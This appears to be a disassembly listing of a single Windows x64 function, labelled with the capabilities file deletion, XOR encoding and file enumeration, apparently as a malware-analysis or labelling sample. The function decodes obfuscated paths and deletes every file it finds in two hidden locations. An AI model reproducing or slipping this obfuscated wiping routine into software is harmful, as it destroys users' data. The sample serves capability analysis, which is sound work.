Function at 0x180017e10
Capabilities:
Delete file
Encode data using xor
Enumerate files on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x3e0]
sub rsp, 0x4e0
lea rdx, [0x18003b394]
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov esi, eax
xor r14d, r14d
movabs rax, 0x5b47976b653c9407
movabs rbx, 0x549a2d1f135dad7a
mov qword [rsp + 0x50], rax
mov r10d, r14d
movabs rax, 0x50c66cd45c789429
mov r11, rbx
mov qword [rsp + 0x58], rax
movabs rax, 0x42a4b28c7024514c
mov qword [rsp + 0x60], rax
movabs rax, 0xb22cbd6c1bc44d0
mov qword [rsp + 0x68], rax
movabs rax, 0x2d5b2e9707651294
mov qword [rsp + 0x70], rax
nop
mov rax, qword [rsp + r10*8 + 0x50]
mov r9d, r10d
neg r9d
mov r8, r11
and r9d, 0xf
rol r8, 3
not r8
rol r11, 1
mov rdx, r8
mov ecx, r9d
neg ecx
and ecx, 0x3f
shl rdx, cl
mov ecx, r9d
shr r8, cl
or rdx, r8
xor rdx, rax
mov qword [rsp + r10*8 + 0x50], rdx
inc r10
cmp r10, 5
jb 0x180017eb0
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rbp + 0x190]
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x180017f22
jmp 0x1800180fb
test byte [rbp + 0x190], 0x10
jne 0x180017f4c
lea rdx, [rbp + 0x1bc]
mov word [rbp + rsi*2 - 0x80], r14w
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rdx, [rbp + 0x190]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x180017f22
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindClose]
lea rdx, [0x18003b394]
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
movabs rax, 0x5b4697736567944c
mov r10, r14
mov qword [rsp + 0x30], rax
mov r11, rbx
movabs rax, 0x50cf6cd35c6f9425
mov qword [rsp + 0x38], rax
movabs rax, 0x42bab28070025148
mov qword [rsp + 0x40], rax
movabs rax, 0xb56cbf9c1aa44cb
mov qword [rsp + 0x48], rax
nop dword [rax]
mov rax, qword [rsp + r10*8 + 0x30]
mov r9d, r10d
neg r9d
mov r8, r11
and r9d, 0xf
rol r8, 3
not r8
rol r11, 1
mov rdx, r8
mov ecx, r9d
neg ecx
and ecx, 0x3f
shl rdx, cl
mov ecx, r9d
shr r8, cl
or rdx, r8
xor rdx, rax
mov qword [rsp + r10*8 + 0x30], rdx
inc r10
cmp r10, 4
jb 0x180017fc0
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov edi, eax
mov r10, r14
movabs rax, 0x5b4b976c653c9407
mov qword [rsp + 0x20], rax
movabs rax, 0x50b56cba5c1d9433
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + r10*8 + 0x20]
mov r9d, r10d
neg r9d
mov r8, rbx
and r9d, 0xf
rol r8, 3
not r8
rol rbx, 1
mov rdx, r8
mov ecx, r9d
neg ecx
and ecx, 0x3f
shl rdx, cl
mov ecx, r9d
shr r8, cl
or rdx, r8
xor rdx, rax
mov qword [rsp + r10*8 + 0x20], rdx
inc r10
cmp r10, 2
jb 0x180018040
lea rdx, [rsp + 0x20]
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rbp + 0x190]
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x1800180b2
lea eax, [rbx - 1]
jmp 0x1800180fb
test byte [rbp + 0x190], 0x10
jne 0x1800180dc
lea rdx, [rbp + 0x1bc]
mov word [rbp + rdi*2 - 0x80], r14w
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rdx, [rbp + 0x190]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x1800180b2
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
lea r11, [rsp + 0x4e0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret